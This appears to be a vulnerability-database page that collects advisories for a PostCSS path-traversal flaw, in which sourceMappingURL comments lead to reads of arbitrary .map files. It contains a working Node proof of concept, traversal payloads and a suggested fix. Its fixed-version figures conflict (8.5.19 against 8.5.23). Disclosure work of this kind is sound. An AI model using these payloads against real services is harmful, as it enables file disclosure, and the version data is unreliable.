CVE-2026-69153
PostCSS: incomplete fix of CVE-2026-45623 — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.3
PostCSS: incomplete fix of CVE-2026-45623 — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
- Record
CVE-2026-69153- CVSS 4.0
- 6.3 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-22, CWE-200
- Updated
- 2026-11-02
EUVDEUVD-2026-52373
6.3
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
- Record
EUVD-2026-52373- CVSS 4.0
- 6.3 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-fxqj-rqcc-2cmp
6.3
PostCSS: incomplete fix of GHSA-6g55-p6wh-862q — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset
Summary
The fix for GHSA-6g55-p6wh-862q added a guard in lib/previous-map.js PreviousMap.loadFile() that restricts an attacker-controlled sourceMappingURL (from a CSS comment) to a .map extension and, for untrusted maps, rejects .. traversal and absolute paths. The traversal/absolute rejection is nested inside if (cssFile) { ... }. When PostCSS is invoked without the from option, cssFile is falsy and that branch is skipped, leaving only the .map extension check.
PreviousMap is constructed by lib/input.js whenever pathAvailable && sourceMapAvailable (under Node with source-map available), independent of opts.from/opts.map (the constructor returns early only for opts.map === false). So postcss([]).process(css) on attacker CSS reaches loadFile with cssFile undefined, and an attacker /*# sourceMappingURL=/abs/path/x.map */ (or ../-traversing path) is read via readFileSync. When the file is valid JSON, its sources (filesystem paths) and sourcesContent (source contents) are disclosed in the generated source map.
Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix)
// lib/previous-map.js
loadFile(path, cssFile, trusted) {
if (!trusted && !this.unsafeMap) {
if (!/\.map$/i.test(path)) {
return undefined
}
if (cssFile) { // guard runs ONLY when `from` is set
let relativePath = relative(dirname(cssFile), path)
if (relativePath === '..' ||
relativePath.startsWith('..' + sep) ||
isAbsolute(relativePath)) {
return undefined
}
}
}
this.root = dirname(path)
if (existsSync(path)) {
this.mapFile = path
return readFileSync(path, 'utf-8').toString().trim() // sink
}
}
// loadMap(): untrusted annotation path, trusted=false; file === opts.from
} else if (this.annotation) {
let map = this.annotation
if (file) map = join(dirname(file), map) // no `from` -> map stays the raw URL
let unknown = this.loadFile(map, file, false) // file undefined -> cssFile falsy
Proof of concept (verified on postcss 8.5.22)
const postcss = require('postcss')
const fs = require('fs')
// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map)
const secret = '/tmp/pcpoc/secret_out_of_tree.map'
fs.writeFileSync(secret, JSON.stringify({
version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [],
sourcesContent: ['TOP_SECRET_abcdef']
}))
const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */'
const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef')
;(async () => {
// A) NO `from` -> guard skipped -> arbitrary absolute .map read + disclosed
const a = await postcss([]).process(css, { map: true })
console.log('no from -> leaked:', !!leaks(a.map)) // true
// B) WITH `from` -> guard active -> blocked
const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true })
console.log('with from -> leaked:', !!leaks(b.map)) // false
})()
Observed output on postcss 8.5.22:
no from -> leaked: true # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map
with from -> leaked: false # guard rejects the absolute path
../ traversal (no from) also succeeds; non-.map targets (.txt, ?x=.map, #.map) are blocked by the .map check. The tested build contains the GHSA-6g55 fix (this.json = JSON.parse(...) in loadMap, consumer() uses this.json || this.text), so this is a residual of that fix.
Impact
Arbitrary .map-file read (absolute path or ../ traversal) and disclosure of the target map's sources (local filesystem paths) and sourcesContent (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a from option and exposes result.map (online CSS playgrounds, minify/lint services, string-input build steps). Bounded…
- Record
GHSA-fxqj-rqcc-2cmp- CVSS 4.0
- 6.3 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-22, CWE-200
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-r28c-9q8g-f849
7.5
PostCSS: Path Traversal in Previous Source Map Auto-Loading (sourceMappingURL) leads to Arbitrary .map File Disclosure
Vulnerability Details
File: lib/previous-map.js
Line: 87-98 (loadFile), 129-144 (loadMap)
Root Cause
PostCSS auto-detects a /*# sourceMappingURL=... */ comment inside the CSS text it is asked to parse and, unless the caller explicitly passes map: false, attempts to load that path from disk as a "previous source map." This happens on every postcss.parse() / postcss().process() call by default (opt-out, not opt-in).
loadMap() builds the candidate path via join(dirname(opts.from), annotation), where annotation is the raw, attacker-controlled string from the CSS comment. path.join() normalizes but does not sandbox .. segments, so a ../../../ prefix walks the resolved path outside the intended directory. If opts.from is not set at all, the annotation is used completely unmodified — an absolute path in the CSS comment is read verbatim.
8.5.12 already fixed a strictly worse variant of this (any file, any extension, could be read) by requiring the resolved path to end in .map (loadFile()). That fix did not address the traversal itself, only the target extension. Since the join(dirname(file), map) logic has existed unchanged since PostCSS 8.0.0 (Feb 2020), any file ending in .map remains readable through this path in the current release (8.5.16).
Once loaded, MapGenerator.isMap() treats the mere presence of a loaded "previous map" as an implicit request to generate result.map, even when the caller never set the map option. If the loaded map has a sourcesContent field (common for maps emitted by bundlers/transpilers), that content is merged into result.map and returned to the caller — disclosing the traversed-to file's content to whoever supplied the CSS.
Attack Scenario
- A service accepts user-submitted CSS and runs it through PostCSS to lint/format/transform it, e.g.
postcss().process(userCss, { from: '/app/uploads/user123/input.css', to: '/app/uploads/user123/output.css' })— idiomatic usage;mapoption untouched. - Attacker submits CSS containing
/*# sourceMappingURL=../../../../some/other/app/dist/bundle.js.map */(or an absolute path iffromis unset). - PostCSS reads that
.mapfile and folds itssourcesContentintoresult.map. - The service does what most build pipelines do with a truthy
result.map— writes it next to the CSS output or returns it via API (source maps are meant to be consumed by browser devtools, so this is commonly public/served). - Attacker retrieves the emitted map and reads out the traversed file's content.
Impact
Disclosure of the contents of arbitrary .map files reachable via path traversal (or absolute path when from is unset) from the process's filesystem. Affects any application processing CSS it does not fully trust without explicitly passing map: false. No authentication or user interaction beyond submitting CSS text is required.
Vulnerable Code
loadFile(path, cssFile, trusted) {
if (!trusted && !this.unsafeMap) {
if (!/\.map$/i.test(path)) {
return undefined
}
}
this.root = dirname(path)
if (existsSync(path)) {
this.mapFile = path
return readFileSync(path, 'utf-8').toString().trim()
}
}
loadMap(file, prev) {
...
} else if (this.annotation) {
let map = this.annotation
if (file) map = join(dirname(file), map)
let unknown = this.loadFile(map, file, false)
...
}
}
Recommended Fix
Constrain the resolved path to remain inside the CSS file's own directory instead of relying solely on a filename-extension check:
loadFile(path, cssFile, trusted) {
if (!trusted && !this.unsafeMap) {
if (!/\.map$/i.test(path)) {
return undefined
}
if (!cssFile) return undefined
let root = resolve(dirname(cssFile))
let resolvedPath = resolve(root, path)
if (resolvedPath !== root && !resolvedPath.startsWith(root + sep)) {
return undefined
}
}
this.root = dirname(path)
if (existsSync(path)) {
…
- Record
GHSA-r28c-9q8g-f849- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
6.3
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
- Record
CVE-2026-69153- CVSS 4.0
- 6.3 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-22, CWE-200
- Updated
- 2026-11-02
OSV
6.3
PostCSS: incomplete fix of CVE-2026-45623 — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
- Record
CVE-2026-69153- CVSS 4.0
- 6.3 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-200, CWE-22
- Updated
- 2026-11-02
Show 40 moreShow less
OSVDEBIAN-CVE-2026-69153
5.3
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
- Record
DEBIAN-CVE-2026-69153- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Updated
- 2026-11-02
OSVGHSA-fxqj-rqcc-2cmp
6.3
PostCSS: incomplete fix of GHSA-6g55-p6wh-862q — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset
Summary
The fix for GHSA-6g55-p6wh-862q added a guard in lib/previous-map.js PreviousMap.loadFile() that restricts an attacker-controlled sourceMappingURL (from a CSS comment) to a .map extension and, for untrusted maps, rejects .. traversal and absolute paths. The traversal/absolute rejection is nested inside if (cssFile) { ... }. When PostCSS is invoked without the from option, cssFile is falsy and that branch is skipped, leaving only the .map extension check.
PreviousMap is constructed by lib/input.js whenever pathAvailable && sourceMapAvailable (under Node with source-map available), independent of opts.from/opts.map (the constructor returns early only for opts.map === false). So postcss([]).process(css) on attacker CSS reaches loadFile with cssFile undefined, and an attacker /*# sourceMappingURL=/abs/path/x.map */ (or ../-traversing path) is read via readFileSync. When the file is valid JSON, its sources (filesystem paths) and sourcesContent (source contents) are disclosed in the generated source map.
Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix)
// lib/previous-map.js
loadFile(path, cssFile, trusted) {
if (!trusted && !this.unsafeMap) {
if (!/\.map$/i.test(path)) {
return undefined
}
if (cssFile) { // guard runs ONLY when `from` is set
let relativePath = relative(dirname(cssFile), path)
if (relativePath === '..' ||
relativePath.startsWith('..' + sep) ||
isAbsolute(relativePath)) {
return undefined
}
}
}
this.root = dirname(path)
if (existsSync(path)) {
this.mapFile = path
return readFileSync(path, 'utf-8').toString().trim() // sink
}
}
// loadMap(): untrusted annotation path, trusted=false; file === opts.from
} else if (this.annotation) {
let map = this.annotation
if (file) map = join(dirname(file), map) // no `from` -> map stays the raw URL
let unknown = this.loadFile(map, file, false) // file undefined -> cssFile falsy
Proof of concept (verified on postcss 8.5.22)
const postcss = require('postcss')
const fs = require('fs')
// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map)
const secret = '/tmp/pcpoc/secret_out_of_tree.map'
fs.writeFileSync(secret, JSON.stringify({
version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [],
sourcesContent: ['TOP_SECRET_abcdef']
}))
const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */'
const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef')
;(async () => {
// A) NO `from` -> guard skipped -> arbitrary absolute .map read + disclosed
const a = await postcss([]).process(css, { map: true })
console.log('no from -> leaked:', !!leaks(a.map)) // true
// B) WITH `from` -> guard active -> blocked
const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true })
console.log('with from -> leaked:', !!leaks(b.map)) // false
})()
Observed output on postcss 8.5.22:
no from -> leaked: true # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map
with from -> leaked: false # guard rejects the absolute path
../ traversal (no from) also succeeds; non-.map targets (.txt, ?x=.map, #.map) are blocked by the .map check. The tested build contains the GHSA-6g55 fix (this.json = JSON.parse(...) in loadMap, consumer() uses this.json || this.text), so this is a residual of that fix.
Impact
Arbitrary .map-file read (absolute path or ../ traversal) and disclosure of the target map's sources (local filesystem paths) and sourcesContent (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a from option and exposes result.map (online CSS playgrounds, minify/lint services, string-input build steps). Bounded…
- Record
GHSA-fxqj-rqcc-2cmp- CVSS 4.0
- 6.3 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-200, CWE-22
- Updated
- 2026-11-02
OSVGHSA-r28c-9q8g-f849
7.5
PostCSS: Path Traversal in Previous Source Map Auto-Loading (sourceMappingURL) leads to Arbitrary .map File Disclosure
Vulnerability Details
File: lib/previous-map.js
Line: 87-98 (loadFile), 129-144 (loadMap)
Root Cause
PostCSS auto-detects a /*# sourceMappingURL=... */ comment inside the CSS text it is asked to parse and, unless the caller explicitly passes map: false, attempts to load that path from disk as a "previous source map." This happens on every postcss.parse() / postcss().process() call by default (opt-out, not opt-in).
loadMap() builds the candidate path via join(dirname(opts.from), annotation), where annotation is the raw, attacker-controlled string from the CSS comment. path.join() normalizes but does not sandbox .. segments, so a ../../../ prefix walks the resolved path outside the intended directory. If opts.from is not set at all, the annotation is used completely unmodified — an absolute path in the CSS comment is read verbatim.
8.5.12 already fixed a strictly worse variant of this (any file, any extension, could be read) by requiring the resolved path to end in .map (loadFile()). That fix did not address the traversal itself, only the target extension. Since the join(dirname(file), map) logic has existed unchanged since PostCSS 8.0.0 (Feb 2020), any file ending in .map remains readable through this path in the current release (8.5.16).
Once loaded, MapGenerator.isMap() treats the mere presence of a loaded "previous map" as an implicit request to generate result.map, even when the caller never set the map option. If the loaded map has a sourcesContent field (common for maps emitted by bundlers/transpilers), that content is merged into result.map and returned to the caller — disclosing the traversed-to file's content to whoever supplied the CSS.
Attack Scenario
- A service accepts user-submitted CSS and runs it through PostCSS to lint/format/transform it, e.g.
postcss().process(userCss, { from: '/app/uploads/user123/input.css', to: '/app/uploads/user123/output.css' })— idiomatic usage;mapoption untouched. - Attacker submits CSS containing
/*# sourceMappingURL=../../../../some/other/app/dist/bundle.js.map */(or an absolute path iffromis unset). - PostCSS reads that
.mapfile and folds itssourcesContentintoresult.map. - The service does what most build pipelines do with a truthy
result.map— writes it next to the CSS output or returns it via API (source maps are meant to be consumed by browser devtools, so this is commonly public/served). - Attacker retrieves the emitted map and reads out the traversed file's content.
Impact
Disclosure of the contents of arbitrary .map files reachable via path traversal (or absolute path when from is unset) from the process's filesystem. Affects any application processing CSS it does not fully trust without explicitly passing map: false. No authentication or user interaction beyond submitting CSS text is required.
Vulnerable Code
loadFile(path, cssFile, trusted) {
if (!trusted && !this.unsafeMap) {
if (!/\.map$/i.test(path)) {
return undefined
}
}
this.root = dirname(path)
if (existsSync(path)) {
this.mapFile = path
return readFileSync(path, 'utf-8').toString().trim()
}
}
loadMap(file, prev) {
...
} else if (this.annotation) {
let map = this.annotation
if (file) map = join(dirname(file), map)
let unknown = this.loadFile(map, file, false)
...
}
}
Recommended Fix
Constrain the resolved path to remain inside the CSS file's own directory instead of relying solely on a filename-extension check:
loadFile(path, cssFile, trusted) {
if (!trusted && !this.unsafeMap) {
if (!/\.map$/i.test(path)) {
return undefined
}
if (!cssFile) return undefined
let root = resolve(dirname(cssFile))
let resolvedPath = resolve(root, path)
if (resolvedPath !== root && !resolvedPath.startsWith(root + sep)) {
return undefined
}
}
this.root = dirname(path)
if (existsSync(path)) {
…
- Record
GHSA-r28c-9q8g-f849- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVRHSA-2026:50070
5.3
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:50070- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Updated
- 2026-11-02
OSVRHSA-2026:50079
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:50079- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:50287
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:50287- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVRHSA-2026:50290
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:50290- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:50826
8.6
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:50826- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
OSVRHSA-2026:57590
8.6
Red Hat Security Advisory: rh-podman-desktop security, bug fix, and enhancement update
- Record
RHSA-2026:57590- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
OSVRHSA-2026:68334
8.8
Red Hat Security Advisory: Red Hat Edge Manager Version 1.1.4 Security Update
- Record
RHSA-2026:68334- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L - Updated
- 2026-11-02
OSVRHSA-2026:71113
9.9
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update
- Record
RHSA-2026:71113- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:71114
9.9
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update
- Record
RHSA-2026:71114- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-69153
6.3
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
- Record
UBUNTU-CVE-2026-69153- CVSS 4.0
- 6.3 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Updated
- 2026-11-02
OSVCLSA-2026-1784856450 No score
TuxCare security update for postcss (1 CVE)
TuxCare rebuilt postcss to address 1 CVE. Fixed in 8.5.6-tuxcare.3.
- Record
CLSA-2026-1784856450- Updated
- 2026-11-02
OSVCLSA-2026-1788354808 No score
TuxCare security update for postcss (2 CVEs)
TuxCare rebuilt postcss to address 2 CVEs. Fixed in 8.2.15-tuxcare.3.
- Record
CLSA-2026-1788354808- Updated
- 2026-11-02
OSVCLSA-2026-1788373352 No score
TuxCare security update for postcss (2 CVEs)
TuxCare rebuilt postcss to address 2 CVEs. Fixed in 8.4.5-tuxcare.3.
- Record
CLSA-2026-1788373352- Updated
- 2026-11-02
OSVCLSA-2026-1788373419 No score
TuxCare security update for postcss (2 CVEs)
TuxCare rebuilt postcss to address 2 CVEs. Fixed in 8.4.14-tuxcare.4.
- Record
CLSA-2026-1788373419- Updated
- 2026-11-02
OSVCLSA-2026-1788375457 No score
TuxCare security update for postcss (2 CVEs)
TuxCare rebuilt postcss to address 2 CVEs. Fixed in 8.4.31-tuxcare.3.
- Record
CLSA-2026-1788375457- Updated
- 2026-11-02
OSVCLSA-2026-1788375461 No score
TuxCare security update for postcss (2 CVEs)
TuxCare rebuilt postcss to address 2 CVEs. Fixed in 8.4.41-tuxcare.4.
- Record
CLSA-2026-1788375461- Updated
- 2026-11-02
OSVCLSA-2026-1790190219 No score
TuxCare security update for postcss (1 CVE)
TuxCare rebuilt postcss to address 1 CVE. Fixed in 8.5.22-tuxcare.1.
- Record
CLSA-2026-1790190219- Updated
- 2026-11-02
OSVCLSA-2026-1790200936 No score
TuxCare security update for postcss (1 CVE)
TuxCare rebuilt postcss to address 1 CVE. Fixed in 8.5.21-tuxcare.1.
- Record
CLSA-2026-1790200936- Updated
- 2026-11-02
OSVCLSA-2026-1790202643 No score
TuxCare security update for postcss (1 CVE)
TuxCare rebuilt postcss to address 1 CVE. Fixed in 8.5.20-tuxcare.1.
- Record
CLSA-2026-1790202643- Updated
- 2026-11-02
OSVCLSA-2026-1790412857 No score
TuxCare security update for postcss (1 CVE)
TuxCare rebuilt postcss to address 1 CVE. Fixed in 8.5.19-tuxcare.1.
- Record
CLSA-2026-1790412857- Updated
- 2026-11-02
OSVCLSA-2026-1790604941 No score
TuxCare security update for postcss (6 CVEs)
TuxCare rebuilt postcss to address 6 CVEs. Fixed in 6.0.1-tuxcare.1.
- Record
CLSA-2026-1790604941- Updated
- 2026-11-02
OSVCLSA-2026-1791629015 No score
TuxCare security update for postcss (2 CVEs)
TuxCare rebuilt postcss to address 2 CVEs. Fixed in 8.5.3-tuxcare.2.
- Record
CLSA-2026-1791629015- Updated
- 2026-11-02
OSVCLSA-2026-1791629172 No score
TuxCare security update for postcss (2 CVEs)
TuxCare rebuilt postcss to address 2 CVEs. Fixed in 8.5.2-tuxcare.2.
- Record
CLSA-2026-1791629172- Updated
- 2026-11-02
OSVCLSA-2026-1791633097 No score
TuxCare security update for postcss (1 CVE)
TuxCare rebuilt postcss to address 1 CVE. Fixed in 8.5.17-tuxcare.2.
- Record
CLSA-2026-1791633097- Updated
- 2026-11-02
OSVCLSA-2026-1791633202 No score
TuxCare security update for postcss (4 CVEs)
TuxCare rebuilt postcss to address 4 CVEs. Fixed in 8.4.49-tuxcare.1.
- Record
CLSA-2026-1791633202- Updated
- 2026-11-02
OSVCLSA-2026-1791832298 No score
TuxCare security update for postcss (2 CVEs)
TuxCare rebuilt postcss to address 2 CVEs. Fixed in 8.5.12-tuxcare.2.
- Record
CLSA-2026-1791832298- Updated
- 2026-11-02
OSVCLSA-2026-1792160907 No score
TuxCare security update for postcss (3 CVEs)
TuxCare rebuilt postcss to address 3 CVEs. Fixed in 6.0.23-tuxcare.1.
- Record
CLSA-2026-1792160907- Updated
- 2026-11-02
OSVCLSA-2026-1792164187 No score
TuxCare security update for postcss (2 CVEs)
TuxCare rebuilt postcss to address 2 CVEs. Fixed in 8.4.33-tuxcare.1.
- Record
CLSA-2026-1792164187- Updated
- 2026-11-02
OSVCLSA-2026-1792164288 No score
TuxCare security update for postcss (3 CVEs)
TuxCare rebuilt postcss to address 3 CVEs. Fixed in 8.4.17-tuxcare.1.
- Record
CLSA-2026-1792164288- Updated
- 2026-11-02
OSVCLSA-2026-1792765677 No score
TuxCare security update for postcss (2 CVEs)
TuxCare rebuilt postcss to address 2 CVEs. Fixed in 8.5.14-tuxcare.1.
- Record
CLSA-2026-1792765677- Updated
- 2026-11-02
OSVCLSA-2026-1792765790 No score
TuxCare security update for postcss (3 CVEs)
TuxCare rebuilt postcss to address 3 CVEs. Fixed in 8.4.35-tuxcare.1.
- Record
CLSA-2026-1792765790- Updated
- 2026-11-02
OSVCLSA-2026-1792791822 No score
TuxCare security update for postcss (3 CVEs)
TuxCare rebuilt postcss to address 3 CVEs. Fixed in 8.2.9-tuxcare.2.
- Record
CLSA-2026-1792791822- Updated
- 2026-11-02
OSVCLSA-2026-1793111755 No score
TuxCare security update for postcss (1 CVE)
TuxCare rebuilt postcss to address 1 CVE. Fixed in 8.5.18-tuxcare.1.
- Record
CLSA-2026-1793111755- Updated
- 2026-11-02
OSVCLSA-2026-1793125669 No score
TuxCare security update for postcss (2 CVEs)
TuxCare rebuilt postcss to address 2 CVEs. Fixed in 8.5.5-tuxcare.3.
- Record
CLSA-2026-1793125669- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11680-1 No score
agama-web-ui-24+0.a836cced5-52.1 on GA media
These are all security issues fixed in the agama-web-ui-24+0.a836cced5-52.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11680-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:12070-1 No score
velociraptor-0.76.7.0.git145.b60ef1146-1.1 on GA media
These are all security issues fixed in the velociraptor-0.76.7.0.git145.b60ef1146-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:12070-1- Updated
- 2026-11-02
OSVROOT-APP-NPM-GHSA-r28c-9q8g-f849 No score
GHSA-r28c-9q8g-f849 in postcss - Patched by Root
Root has patched GHSA-r28c-9q8g-f849 in the postcss package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-GHSA-r28c-9q8g-f849- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
postcssnpm |
through 8.5.22 | 8.5.23 |
postcssnpm |
through 8.5.17 | 8.5.18 |
postcssTuxCare:npm |
8.5.6-tuxcare.0 up to 8.5.6-tuxcare.3, plus listed versions 8.5.68.5.6-tuxcare.18.5.6-tuxcare.2 |
8.5.6-tuxcare.3 |
postcssTuxCare:npm |
8.2.15-tuxcare.0 up to 8.2.15-tuxcare.3, plus listed versions 8.2.158.2.15-tuxcare.18.2.15-tuxcare.2 |
8.2.15-tuxcare.3 |
postcssTuxCare:npm |
8.4.5-tuxcare.0 up to 8.4.5-tuxcare.3, plus listed versions 8.4.58.4.5-tuxcare.18.4.5-tuxcare.2 |
8.4.5-tuxcare.3 |
postcssTuxCare:npm |
8.4.14-tuxcare.0 up to 8.4.14-tuxcare.4, plus listed versions 8.4.148.4.14-tuxcare.18.4.14-tuxcare.28.4.14-tuxcare.3 |
8.4.14-tuxcare.4 |
postcssTuxCare:npm |
8.4.31-tuxcare.0 up to 8.4.31-tuxcare.3, plus listed versions 8.4.318.4.31-tuxcare.18.4.31-tuxcare.2 |
8.4.31-tuxcare.3 |
postcssTuxCare:npm |
8.4.41-tuxcare.0 up to 8.4.41-tuxcare.4, plus listed versions 8.4.418.4.41-tuxcare.18.4.41-tuxcare.28.4.41-tuxcare.3 |
8.4.41-tuxcare.4 |
postcssTuxCare:npm |
8.5.22-tuxcare.0 up to 8.5.22-tuxcare.1, plus listed versions 8.5.22 |
8.5.22-tuxcare.1 |
postcssTuxCare:npm |
8.5.21-tuxcare.0 up to 8.5.21-tuxcare.1, plus listed versions 8.5.21 |
8.5.21-tuxcare.1 |
Show 80 moreShow less
| Package | Affected | Fixed |
|---|---|---|
postcssTuxCare:npm |
8.5.20-tuxcare.0 up to 8.5.20-tuxcare.1, plus listed versions 8.5.20 |
8.5.20-tuxcare.1 |
postcssTuxCare:npm |
8.5.19-tuxcare.0 up to 8.5.19-tuxcare.1, plus listed versions 8.5.19 |
8.5.19-tuxcare.1 |
postcssTuxCare:npm From an advisory covering 6 CVEs |
6.0.1-tuxcare.0 up to 6.0.1-tuxcare.1, plus listed versions 6.0.1 |
6.0.1-tuxcare.1 |
postcssTuxCare:npm From an advisory covering 2 CVEs |
8.5.3-tuxcare.0 up to 8.5.3-tuxcare.2, plus listed versions 8.5.38.5.3-tuxcare.1 |
8.5.3-tuxcare.2 |
postcssTuxCare:npm From an advisory covering 2 CVEs |
